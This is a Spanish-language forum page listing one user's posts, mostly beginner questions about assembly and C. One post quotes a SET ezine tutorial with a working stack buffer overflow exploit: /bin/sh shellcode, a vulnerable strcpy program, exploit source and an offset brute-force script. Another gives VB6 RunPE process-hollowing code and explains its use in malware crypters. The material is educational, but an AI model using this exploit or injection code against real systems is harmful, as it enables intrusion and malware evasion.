Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - [Kayser]

#1
ASM / Dudas con paper sobre buffer overflows
20 Marzo 2013, 18:21 PM
Buenas gente, os escribo este mensaje en el foro porque me he encontrado con dudas al leer este paper de la SET ezine sobre buffer overflows.

El paper es el siguiente:

-[ 0x08 ]--------------------------------------------------------------------
-[ ASM y Buffer Overflows ]--------------------------------------------------
-[ by Doing ]---------------------------------------------------------SET-21-


                           Asm y buffer overflows
                          ------------------------     
                                 By Doing
                  ------------------------
                            <jdoing@hotmail.com>
 

Bueno, por fin me he decidido a escribir un articulo para SET, espero que
lo encontreis interesante. Seguro que muchos de los hackers newbies que
ahora estan descubriendo el mundo del hacking habran oido hablar de los
tan famosos exploits, pero todavia no saben que hacen, ni como funcionan;
pues para eso escribo este co~azo.

Para entender esto te ayudara saber algo de C o ensamblador pero no es
indispensable. Voy a empezar explicando que #"@% es eso del stack.


  ==> El stack (o pila) <==


El stack es una region de memoria que las funciones usan para guardar sus
variables locales y para guadar temporalmente el contenido de los registros
del procesador (por ejemplo, cuando se llama a una funcion, los parametros
se pasan por el stack). El segmento de stack se guarda en un registro del
procesador, el SS. Tambien existe un registro que apunta al lugar en donde
se encuentra la "pila". La pila se usa para guardar temporalmente el
contenido de los registros (eso ya lo he dicho antes). Para guardar el
contenido de un registro en la pila se usa la instruccion push, y para
recuperar el ultimo dato almacenado en la pila su usa la instruccion pop.

Vamos a poner un ejemplo:

Esto es un segmento de stack:

         0x00                                                  0xFFFFFFFF
SS ==> [0000000000000000000000000[VAR1][VAR2][SBP][RET][ARGV1][ARGV2]...]
                                 ^
                            STACK POINTER

Como veis, nada mas llamar a una funcion, el ESP se encuentra justo detras
de la ultima variable declarada. Cuando usamos push, guardamos el dato desde
la posicion del ESP hacia ATRAS, y el ESP de decrementa en tantos bytes como
tenga nuestro dato.

Vamos a suponer que guardamos en la pila el reg EAX (4 BYTES)

pushl %eax (La "l" despues de push quiere decir que el operando ocupa 32 bits)

El segmento de antes quedaria asi:

       0x00                                                    0xFFFFFFFF
SS ==> [000000000000000000000[EAX][VAR2][VAR1][SBP][RET][ARGV1][ARGV2]...]
                            ^
                       STACK POINTER

Ahora vamos a recuperarlo en otro registro:

popl %ebx

En este momento el ESP se incrementa en tantos bytes como tenga nuestro dato,
asi que se queda como al principio, usease, como antes de hacer el ultimo
push. Con esto se puede deducir una cosa: los datos que vas sacando de la
pila salen en orden inverso al que fueron introducidos. En jerga "tesnica"
se dice que la pila es una estructura LIFO (Last In, First Out).

Acabais de ver como el procesador accede a la pila, creo haber dicho que el
stack tambien se usa para acceder a las variables locales, pero, comorr?.

Para acceder a memoria necesitamos dos cosas: segmento y despazamiento. Bien,
el segmento ya lo tenemos, el SS, y el offset (NOTA: offset = desplazamiento)
se guarda (seguro que ya lo habeis adivinado ;) en otro registro, el EBP.
El EBP apunta al comienzo de la primera variable declarada.

Volvamos otra vez al segmento de antes:

         0x00                                                   0xFFFFFFFF
SS ==>  [0000000000000000000000000[VAR2][VAR1][SBP][RET][ARGV1][ARGV2]...]
                                 ^           ^
                                ESP         EBP

Vamos a poner otro ejemplo:

void ejemplo(char *argumento){
     char buff[4];
}
void main()
{
     char *VAR_MAIN;
     ejemplo(VAR_MAIN);
}

Compilemos el codigo:

$ gcc ejem.c -o ejem

Ahora vamos a desensamblarlo para entender como llama a la funcion ejemplo y
que hace con los registros:

$ gdb ejem

(gdb) disassemble main
Dump of assembler code for function main:
0x8048458 <main>:       pushl  %ebp
0x8048459 <main+1>:     movl   %esp,%ebp
0x804845b <main+3>:     subl   $0x4,%esp
0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
0x8048461 <main+9>:     pushl  %eax
0x8048462 <main+10>:    call   0x8048440 <ejemplo>
0x8048467 <main+15>:    addl   $0x4,%esp
0x804846a <main+18>:    leave 
0x804846b <main+19>:    ret   
End of assembler dump.

OK. En <main> guardamos el registro ebp en la pila, esto lo hacen todas las
funciones cuando son llamadas. Hemos dicho que ebp apunta a al comienzo de
las variables locales de una funcion, pero cuando se llama a otra funcion,
esta tambien tiene que almacenar en ebp la direccion de sus variables, asi
que se guarda en la pila para luego restaurarlo. En nuestro segmento esta
en [SBP].

En <main+1> copiamos en ebp el contenido de esp. Asi que tenemos que ebp
y esp apuntan justo detras de [SBP]. Otro dibujito:

        0x00                                                    0xFFFFFFFF
SS ==> [0000000000000000000000000000000000000[SBP][RET][ARGV1][ARGV2]...]
                                             ^
                                            EBP
                                            ESP

Si ahora hicieramos un push de lo que sea, en este momento escribiriamos
en la sección de memoria donde queremos guardar VAR_MAIN, asi que en
<main+3> restamos el tama~o de VAR_MAIN a esp, quedando el famosisimo
segmento asi:

         0x00                                                    0xFFFFFFFF
SS ==>  [000000000000000000000000000[VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                                   ^          ^
                                  ESP        EBP

(NOTA: Si os fijais se restan 4 bytes a esp, ya que VAR_MAIN es un puntero)

Asi que ya tenemos los dos punteros del stack apuntando donde deben. Estos
tres pasos: (pushl %ebp ; movl %esp,%ebp ; subl tamaño_variables,%esp)
tienen que hacerlos todas las funciones. Ahora vamos con el proceso de
llamada:

0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
0x8048461 <main+9>:     pushl  %eax
0x8048462 <main+10>:    call   0x8048440 <ejemplo>
0x8048467 <main+15>:    addl   $0x4,%esp

Como ya sabeis para pasar los parametros a una funcion se usa la pila,
pero como no se puede hacer push de una direccion de memoria se usa el
reg. eax. En <main+6> movemos 4 bytes de la direccion de memoria
(%ebp + 0xfffffffc), pero como 0xfffffffc = (-4), lo que estamos
haciendo es copiar 4 bytes desde ebp-4, VAR_MAIN, a eax. Despues en
<main+9> lo ponemos en la pila y justo antes de hacer la llamada a
<ejemplo> nuestro queridisimo segmento esta asi:

        0x00                                                    0xFFFFFFFF
SS ==>  [0000000000000000000[PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                           ^                  ^
                          ESP                EBP

Aqui esp apunta 4 bytes mas abajo, ahora tenemos que llamar a <ejemplo>.
Pero antes una pregunta: si a <ejemplo> se le llama desde <main+10>, donde
guarda el programa la direccion de la siguiente instruccion a ejecutar, o
lo que es lo mismo, la direccion de RETORNO? Seguro que ya lo habeis
adivininado, pues claro hombre, en la pila. Esta direccion de retorno que
a partir de ahora llamare RET, es lo que vamos a modificar a la hora de
"xplotar" un programa que tenga un bug. Pues bien, cuando <main+10> se
ejecuta pone en la pila la direccion de retorno, en este caso es la
direccion de <main+15>.

Ahora vamos a desemsamblar <ejemplo>

(gdb) disassemble ejemplo
Dump of assembler code for function ejemplo:
0x8048440 <ejemplo>:    pushl  %ebp
0x8048441 <ejemplo+1>:  movl   %esp,%ebp
0x8048443 <ejemplo+3>:  subl   $0x4,%esp
0x8048446 <ejemplo+6>:  leave 
0x8048447 <ejemplo+7>:  ret   
End of assembler dump.

Vamos a suponer que ya se han ejecutado las tres primeras inst. de ejemplo.
El segmento de stack estaria asi:

       0x00                                                        0xFFFFFFFF
SS ==> [0000000[BUFF][SBP][RET][PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
              ^      ^      ^     
             ESP    EBP    RET apunta a <main+15>

Las inst. leave y ret se encargan de dejar el ebp como estaba, es decir,
para que apunte a las variables locales de funcion que la llamo (main),
asi que restaura de la pila el [SBP], que lo quardo en <ejemplo>. Despues
saca a [RET] de la pila y salta a la direccion a la que apunta : <main+15>.
Y antes de que se ejecute esta instruccion, el dichoso segmento:

        0x00                                                        0xFFFFFFFF
SS ==> [00000000000000000000000[PARAM1][VAR_MAIN][SBP][RET][ARGV1][ARGV2]...]
                              ^                 ^           
                             ESP               EBP   

El segmento se ha quedado justo igual que antes de hacer la llamada a ejemplo,
tanto es asi que todavia esta en la pila el parametro que le pasamos. Asi que
en <main+15>:

          addl   $0x4,%esp
 
se le suman al esp el tamaño de los argumentos que le pasamos a <ejemplo>.
Con lo que el segmento de stack se exactamente igual que en <main+6>.

Bien, pues ahora que ya conoceis todo esto ya podemos ir entrando en materia
(Ya era hora no??).

                               ==> BUFFER OVERFLOWS <==


El objetivo de los xploits es modificar el flujo de ejecucion de un programa
para que ejecute algo que nosotros queremos, generalmente una shell. Para
conseguir esto hay que aprovechar errores de programacion. Por ejemplo,
vamos a modificar la funcion de ejemplo de antes para hacerla vulnerable.
Esta es el nuevo programa:

  void vulnerable()
  {
      char buffer_pequeno[100];
      char buffer_grande[200];
 
      memset(buffer_grande,1,200);   
      strcpy(buffer_pequenco,buffer_grande);
  }
  void main()
  {
      vulnerable();
  }
 
Lo que que hace la funcion vulnerable es copiar en un buffer de 100 bytes
otro que ocupa el doble, con lo que se sobreesciben los datos que hay a
continuacion de buffer_pequeno. Y, cuales son los datos que se
sobreescriben?. Pues los que estan a continuacion de buffer_pequeno en el
segmento de stack : [SFP] y [RET]. Si se escribe encima de [RET] cuando
termine la funcion saltara a la direccion que este apuntando, en este caso
0x01010101, y como ahi no puede leer se producira una violacion de segmento.


Vamos a comprobarlo:

$ gcc ejem2.c -o ejem2
$ ./ejem2
Segmentation fault (core dumped)
$

Vamos a hacer una pequeña modificacion a ejem2 para que pueda ser explotado.

  void vulnerable(char *ptr)
  {
      char buffer_pequeno[512];   
      strcpy(buffer_pequeno,ptr);
  }
 
  void main(int argc,char **argv)
  {
      vulnerable(argv[1]);
  }
 
  Ahora para sobreescribir la direccion RET tenemos que pasarle un argumento
  de 520 bytes como minimo (recordad [SFP] y [RET] ocupan 4 bytes cada una).

  Bien, antes dije que lo mas comun a la hora de hacer xploits era que nos
  dieran una shell. Asi que lo que tenemos que hacer es sobreescribir [RET]
  con una direccion donde tengamos un codigo que ejecute una shell. Pero,
  donde podemos guardar nuestro codigo para que este en el espacio de
  direcciones de ejem2?.
  Vamos a pasarselo a ejem2 como argumento. Otro problema que tenemos es que
  no sabemos cual va a ser la direccion exacta de nuestro codigo en el stack,
  pero sabemos que los ESP tienen valores muy parecidos en programas que se
  ejecutan en el mismo ordenador, o en distintos ordenadores con el mismo
  sistema operativo. Asi que vamos a "adivinar" la direccion de retorno.
  Vamos a probar a restarle offsets distintos al ESP de nuestro exploit,
  hasta que funcione. Asi que el argumento que tenemos que pasar a ejem2
  es mas o menos como el siguiente:

0                                                                               600
[Codigo_Codigo_Codigo_Codigo_Codigo_Codigo_RET_RET_RET_RET_RET_RET_RET_RET_RET_RET]

  Ahora toca ensamblador. Para programar nuestro codigo vamos a usar asm.
  Queremos que ejecute una shell, por ejemlo "/bin/sh". En C la instruccion
  que nos interesa es execve(char *,char **,char **). Los argumentos son:

- Puntero al path completo del programa.
- Puntero a una lista con los argumentos (**argv).
- Lista de las variables de entorno.

Vamos a destripar la funcion execve().

  ejem3.c

  #include <stdlib.h>
  void main()
  {
          char *arg[2];
          arg[0] = "/bin/sh";
          arg[1] = NULL;
 
          execve(arg[0],arg,NULL);
  }
   
  Este programa ejecuta una shell. Vamos a compilarlo y a desemsamblar
  execve.

  $ gcc ejem3.c -o ejem3 -g -static
  $ gdb ejem3
 
  (gdb) disassemble execve
  Dump of assembler code for function execve:
  0x804ca10 <execve>:     pushl  %ebx
  0x804ca11 <execve+1>:   movl   0x10(%esp,1),%edx
  0x804ca15 <execve+5>:   movl   0xc(%esp,1),%ecx
  0x804ca19 <execve+9>:   movl   0x8(%esp,1),%ebx
  0x804ca1d <execve+13>:  movl   $0xb,%eax
  0x804ca22 <execve+18>:  int    $0x80
  0x804ca24 <execve+20>:  popl   %ebx
  0x804ca25 <execve+21>:  cmpl   $0xfffff001,%eax
  0x804ca2a <execve+26>:  jae    0x804cc30 <__syscall_error>
 
  Hace lo siguiente:

- Pone en edx la direccion de las variables de entorno (Para nuestro
          caso es NULL)

- Pone en ecx la direccion de la lista de argumentos (Como nuestra
          llamada solo va tener un argumento en ecx vamos a poner la
          direccion de la direccion de "/bin/sh")

- Pone en ebx la direccion del primer argumento.

- Pone en eax 11 (0xb) y llama a la funcion 0x80 (llamada a al
          sistema)

  Y nosotros en nuestro codigo vamos a hacer esto:

- Tener en memoria ls cadena "/bin/sh".

- Tener tambien en memoria la direccion de "/bin/sh" seguida
          de un long nulo.

- Poner en eax 11 (0xb).

- Poner en ebx la direccion de "/bin/sh".

- Poner en ecx la direccion de la direccion de "/bin/sh".

- Poner en edx la direccion del long nulo que esta despues de
          la dir. de "/bin/sh".

        - Llamar a la interrupcion 0x80.

  Y por si la llamada a execve falla. A continuacion vamos a hacer una
  llamada a exit() :

- Poner 0 en %ebx (exit code)
- Poner 1 en %eax
- int 0x80.

  Pero aqui nos encontramos con otro problema, nuestro codigo va a ser
  una string, y no sabemos donde va a estar la string "/bin/sh", pero
  para eso vamos a hacer uso de jmp y call.

  Nuestro codigo quedaria asi:

       jmp 0x1f                 # Saltamos al CALL que hay antes de /bin/sh
       popl %edi                # En la pila esta la direccion de /bin/sh
                                # asi que la ponemos en edi

       movl %edi,%ebx           # Ponemos en ebx la dir. de /bin/sh

       xorl %eax,%eax           # Ponemos 0 en eax
       movb %al,0x7(%edi)       # Ponemos un 0 justo delante de /bin/sh
                                # ya que tiene que ser una str terminada
                                # en 0 (NULL terminated).

       movl %edi,0x8(%edi)      # Ponemos en memoria la dir. /bin/sh
       movl %eax,0xc(%edi)      # seguida de un long nulo

       leal 0x8(%edi),%ecx      # Ponemos en ecx la dir. de la dir. de /bin/sh
       leal 0xc(%edi),%edx      # Ponemos en edx la dir. del long nulo.

       movb $0xb,%eax           # Ponemos 11 en eax

       int $0x80                # llamada al sistema
     
       xorl %ebx,%ebx           # Por si falla execve vamos a llamar a exit()
       movl %ebx,%eax           # Ponemos 0 en ebx (exit code)
       inc %eax                 # y 1 en eax (exit())
     
       int $0x80                 # llamada al sistema

       call -0x24               # Esta llamda se ocupa de poner en la pila
                                # la direccion de /bin/sh, que era uno
                                # de los problemas que teniamos

       .ascii \"/bin/sh0\"       # Esto no hace falta que lo explique
       .byte 0x00


Esto es un programa que prueba la shellcode:

ejem4.c

void shellc(){
__asm__("

       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
             ");
}

void main()
{
int *RET;
char dst[200];

strcpy(dst,(char*)shellc);  /*  copiamos la shellcode del segmento
                               de codigo al segmento de datos. Esto se
                               hace porque nuestro codigo escribe
                               un cero al final de /bin/sh, pero si
                               la shellcode se encuentra en el segmento
                               de codigo nos dara una violacion de
                               segmento porque linux marca las paginas
                               de codigo como de solo-lectura */

   RET = (int*) &RET + 2; /*   Hacemos que RET apunte a la direccion
                               de retorno */

   (*RET) = (int) dst;    /*   Y escribimos la direccion de nuestro codigo
                               en la direccion de retorno. Asi cuando termine
                               nuestro programa, se ejcutara la shellcode y
                               veremos si funciona o no */
}


Lo compilamos y lo ejecutamos:

$ gcc ejem4.c -o ejem4
$ ./ejem4
bash$

Parece que funciona. Si os fijais, en las inst. de la shellcode no hay
ningun 0. Si lo hubiera, al hacer la copia de nuestro codigo a otro parte,
se pararia al encontar un byte nulo.

      Volvamos con el xploit. Ya tenemos el codigo, y la direccion de
      retorno hemos quedado que iba a ser el ESP de nuestrp xploit.
      Ya podemos escribir el xploit:

xploit1.c

#include <stdlib.h>

void shellc(){
__asm__("

       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
             ");
}

long get_esp(){
  __asm__("
   movl %esp,%eax
");
}

void main(int argc,char **argv)
{
  int tam = 600;  /* Vamos a pasarle a ejem2 un arg de 600 bytes */
  char *crack = (char*) malloc(tam);
  char dst[200];
  long addr;
  long off = 0;
  char *arg[3];
  int i;

  printf(" ejem2 Xploit - by Doing\n");
  printf(" Uso:\n");
  printf("\t%s [offset]\n",argv[0]);

  if (argc > 1) off = atoi(argv[1]);
 
  addr = get_esp() - off; /* Calculamos la direccion de retorno:
     esp - offset_aleatorio (entre -500 y 500)
   */

  strcpy(dst,(char*)shellc); /* copiamos la shellcode a dst */

  for (i = 0; i < tam; i+=4){
    /* este bucle llena la cadena crack con la direccion de retorno */

    crack[i] = (addr & 0x000000FF);
    crack[i + 1] = (addr & 0x0000FF00) >> 8;
    crack[i + 2] = (addr & 0x00FF0000) >> 16;
    crack[i + 3] = (addr & 0xFF000000) >> 24;
  }

  strncpy(crack,dst,strlen(dst)); /* Y copiamos dst al principio de crack */

  /*  Ahora vamos a intentar xplotar ejem2 */

  arg[0] = "./ejem2";
  arg[1] = crack;
  arg[2] = NULL;

  execve(arg[0],arg,NULL);
}


Lo compilamos y vamos a intentar xplotar ejem2:

$ ./xploit1
ejem2 Xploit - by Doing
Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)

Tendremos que modificar el valor de offset. Lo mejor es usar un script.
Aqui teneis uno:

busca_offset

#!/bin/bash
par=-500

while [ $par -le 500 ];do
echo "$par"
./xploit1 $par
par=$((par+1))
done

Le dais permisos de ejecucion y lo ejecutais:

$ ./busca_offset

-500
ejem2 Xploit - by Doing
Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)
-499
ejem2 Xploit - by Doing
Uso:
./xploit1 [offset]
Illegal Instruction (core dumped)


*EOF*



http://www.set-ezine.org/ezines/set/21/0x08.txt

Este es el programa que me genera dudas:

void ejemplo(char *argumento){
     char buff[4];
}
void main()
{
     char *VAR_MAIN;
     ejemplo(VAR_MAIN);
}


Este es el programa desensamblado:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048458 <main>:       pushl  %ebp
0x8048459 <main+1>:     movl   %esp,%ebp
0x804845b <main+3>:     subl   $0x4,%esp
0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
0x8048461 <main+9>:     pushl  %eax
0x8048462 <main+10>:    call   0x8048440 <ejemplo>
0x8048467 <main+15>:    addl   $0x4,%esp
0x804846a <main+18>:    leave 
0x804846b <main+19>:    ret   
End of assembler dump.


Mi duda esta aqui:


0x804845b <main+3>:     subl   $0x4,%esp
0x804845e <main+6>:     movl   0xfffffffc(%ebp),%eax
0x8048461 <main+9>:     pushl  %eax


No entiendo porque se sustraen 4 bytes al registro esp y despues se mueve lo que hay en ebp-4 a eax.

Alguien puede echarme una mano?
Aun estoy verde en ASM  :P
#2
Hola gente sigo aprendiendo ensamblador o almenos intentandolo esta vez tengo dudas con el siguiente codigo que lo que hace es cambiar de mayusculas a minusculas:


segment Pila stack
   resb 64
InicioPila:
   
   ; Segmento de código
   segment Codigo

..start:
   ; preparamos DS y BX
   ; para acceder al cáracter
   ; de la fila 12 columna 2
   ; de la pantalla de texto
   mov ax, 0b800h
   mov ds, ax
   mov bx, 160*12+1*2

   ; Recuperamos el carácter en AL
   mov al, [bx]
   
   cmp al, 'A' ; Comparamos con la A
   jb Salir      ; si es inferior saltamos
   cmp al, 'Z' ; Comparamos con la Z
   ja Salir      ; si es superior saltamos

   ; Convertimos a minúscula
   add al, 32 ; sumando 32
   mov [bx], al ; y escribiendo en pantalla

Salir:
   ; en cualquier caso modificamos el atributo
   inc bx
   ;para resaltar el carácter tanto si se ha
   ;cambiado como si no
   mov byte [bx], 0fh

   ; salimos al sistema
   mov ah, 4ch
   int 21h
   


Mi duda es:
En que momento se accede a memoria y se realiza el cambio del atributo?
#3
ASM / Re: Sumas de 32 bits con registros de 16
20 Enero 2013, 12:55 PM
Lo que no me queda claro es que pasa al sumar la parte baja y la parte alta... Cuando se suman tanto la parte alta por un lado como la parte baja por el otro se produciran mas de un acarreo cada vez a medida que se suman los numeros no?
#4
ASM / Re: Sumas de 32 bits con registros de 16
19 Enero 2013, 13:43 PM
Gracias por responder MCKSys Argentina! Pero la informacion esta en ingles... Puedes ponerme un codigo de ejemplo? Un saludo
#5
ASM / Sumas de 32 bits con registros de 16
18 Enero 2013, 19:32 PM
Hola gente ando estudiando ensamblador y no comprendo como se harian las sumas que exceden las capacidades de los registros. Como se deberia efectuar una suma de por ejemplo 240.000 mas 300.000 con registros de 16 bits? Si alguien puede explicarmelo y poner un codigo comentado seria de gran ayuda. Un saludo
#6
Programación C/C++ / Duda con codigo
17 Diciembre 2012, 19:26 PM
Buenas gente estoy estudiando C con el libro El lenguaje de programacion C de Kernighan y Ritchie y en una parte del libro en la que sale el codigo siguiente que se supone que toma una serie de caracteres introducidos por el teclado y devuelve el mas largo me han salido varias dudas:

#include <stdio.h>
#define MAXLINE 1000
int getline(char line[],int maxline);
void copy(char to[],char from[]);
main()
{
    int len;
    int max;
    char line[MAXLINE];
    char longest[MAXLINE];

    max = 0;
    while((len = getline(line, MAXLINE))>0)
        if (len > max){
            max = len;
            copy(longest, line);
        }
        if (max > 0)
            printf("%s", longest);
        return 0;
}
int getline(char s[], int lim)
{
    int c, i;

    for(i=0;i<lim-1 &&(c=getchar())!=EOF && c!='\n';++i)
        s[i]=c;
    if(c =='\n'){
        s[i]=c;
        ++i;
    }
    s[i]='\0';
    return i;
}
void copy(char to[],char from[]){
    int i;
    i=0;
    while((to[i]=from[i])!='\0')
        ++i;
}


No veo claro cuando se reinicializa la variable i en el array. En que momento la i se reinicializa para que s sea s[0] y sobreescriba la anterior secuencia de caracteres que habia? Porque para que en cada momento se vaya escribiendo la secuencia de caracteres que se introduzca en el array i tiene que haber un momento en que se salga del bucle for y se reinicie la i a 0 no? Si no se continuaria incrementando la i partiendo de la ultima posicion rellenada con un caracter y el programa no funcionaria como es espera devolviendo la secuencia caracteres mas larga... Porque cuando sale del ciclo for cuando se cumpla una de las condiciones o cuando se cumplan todas?
#7
Buenas hace algun tiempo que he estado estudiando el codigo de un RunPE este hilo pretende servir de ayuda a aquellos que no comprenden como funciona. Un saludo y mi agradecimiento a Karcrack y en especial a The Swash por ayudarme a comprender como funciona.

Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub


Que es un RunPE?

El famoso RunPE es una técnica la cual permite ejecutar archivos ("on the fly" - Karcrack), es decir sin necesidad de que el archivo ocupe tamaño físico, esto se hace porque el archivo está plasmado en un buffer en memoria. Esta técnica es usada en malware generalmente en Cifradores, los cuales tienen en su cuerpo el archivo cifrado, luego en memoria lo descifran y lo ejecutan. (The Swash)

Como funciona un RunPE?

Primero de todo se inicializa el tamaño de la estructura Si que sera igual al tamaño total de la propia estructura PROCESS_INFORMATION. Necesitamos los datos contenidos en la cabecera IMAGE_DOS_HEADER e IMAGE_NT_HEADERS para obtenerlos usamos la API RtlMoveMemory. Para obtener la cabecera IMAGE_DOS_HEADER rellenando la estructura pidh copiamos los primeros 64 bytes del array de bytes que contiene el ejecutable que hay que ejecutar en memoria on the fly.Para obtener la cabecera IMAGE_NT_HEADERS copiamos los primeros 248 bytes partiendo del offset contenido en el campo e_lfanew de la estructura Pidh. (e_lfanew contiene el offset que indica el comienzo de la cabecera IMAGE_NT_HEADERS). Ya hemos obtenido los datos necesarios de dichas cabeceras ahora estan contenidas en las estructuras pidh y pinh. Creamos un proceso con el attributo de suspendido y facilitamos las estructuras si y pi que se rellenaran con los datos del proceso suspendido. Desmapeamos el proceso suspendido que hemos creado a partir del ImageBase Con la API VirtualAllocEx hacemos espacio en el proceso suspendido a partir del ImageBase y del tamaño indicado por el campo SizeOfImage de la estructura pinh que indica el tamaño total que tendrá dicho ejecutable en memoria. Escribimos en el proceso suspendido a partir del ImageBase la cabecera para ello indicamos el array de bytes que contiene el ejecutable y proporcionamos el campo SizeOfHeaders que indica el tamaño de dicha cabecera. Escribimos sección a sección al proceso suspendido, para ello creamos un bucle for que partiendo de zero y hasta el tamaño indicado por el campo NumberOfsections copiara cada sección en su virtualadress correspondiente.El virtualdress es una direccion virtual relativa por ello es un desplzamiento partiendo del imagebase del proceso para onbtener la direccion absoluta sumamos el desplzamiento al imagebase. Obtenemos el contexto del proceso suspendido es decir el estado de los registros y demas del proceso Ahora debemos cambiar el imagebase que esta contenido en la estructura del PEB por el nuevo ImageBase del proceso por ello proporcionamos como destino ctx.ebx+8 (ctx.ebx+8 apunta al campo sizeofimage del peb en la creacion del proceso) como origen de los datos proporcionamos el imagebase de la estructura pinh. Ahora debemos crear un hilo de ejecución que parta del Entrypoint del nuevo proceso por ello el registro EAX apuntara al entrypoint del nuevo proceso. Establecemos el nuevo contexto del proceso y con la API ResumeThread iniciamos el hilo de ejecucion.
#8
Yo ya me he unido a la iniciativa... Alguien mas se une? :D
#9
Gracias por las respuestas creo que ya entiendo el codigo un saludo
#10
Hola vereis he encontrado un codigo que hace un efecto scroll sobre un texto y no termino de comprender como funciona. No entiendo porque se llama a la api dos veces para escribir el texto. Alguien me echa una mano?
'Declaraciones Api
'------------------------------

'Dibuja el texto
Private Declare Function DrawText Lib "user32" Alias "DrawTextA" ( _
    ByVal hdc As Long, _
    ByVal lpStr As String, _
    ByVal nCount As Long, _
    lpRect As RECT, _
    ByVal wFormat As Long) As Long

' Para el intervalo de tiempo
Private Declare Function GetTickCount Lib "kernel32" () As Long

'Estructura para usar con el api DrawText
Private Type RECT
       
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long

End Type

Public Finalizar As Boolean

Public Sub Comenzar_Scroll(Objeto_Scroll As PictureBox, _
                    Texto As String, _
                    Velocidad As Long, _
                    Color_Fuente As Long)


Dim r_Height_Texto As Long
Dim ObjetoRect As RECT
Dim t_Vel As Long
Dim Ret As Long

'Propiedades para el picture o form
With Objeto_Scroll
   
    .ScaleMode = vbPixels
    .AutoRedraw = True
    'Cambiar las propiedades de la fuente
    .ForeColor = Color_Fuente
    .FontSize = 16
     
End With


Ret = DrawText(Objeto_Scroll.hdc, _
               Texto, -1, ObjetoRect, &H400)

If Ret = 0 Then MsgBox " Error ", vbCritical: Exit Sub
   
    With ObjetoRect
       
        'Posición inicial del área donde dibujar el texto
        .Top = Objeto_Scroll.ScaleHeight
        .Left = 0
        .Right = Objeto_Scroll.ScaleWidth
   
         r_Height_Texto = .Bottom
        .Bottom = .Bottom + Objeto_Scroll.ScaleHeight
   
    End With
     
'Esta variable si está en True detiene el scroll
Finalizar = False

While Finalizar = False
   
    If (GetTickCount() - t_Vel) > Velocidad Then
                           
        ' Borra el contenido
        Objeto_Scroll.Cls
       
        ' Dibuja el texto
        Call DrawText(Objeto_Scroll.hdc, _
                      Texto, -1, _
                      ObjetoRect, &H1 Or &H10)
       
        With ObjetoRect
           
            .Top = .Top - 1
            .Bottom = .Bottom - 1
           
            ' Si llegó arriba de todo comienza de nuevo el scroll _
              reseteando los valores top y bottom
            If .Top < -(r_Height_Texto) Then
                .Top = Objeto_Scroll.ScaleHeight
                .Bottom = r_Height_Texto + Objeto_Scroll.ScaleHeight
            End If
       
        End With
       
        t_Vel = GetTickCount()
       
    End If
   
    DoEvents
Wend
End Sub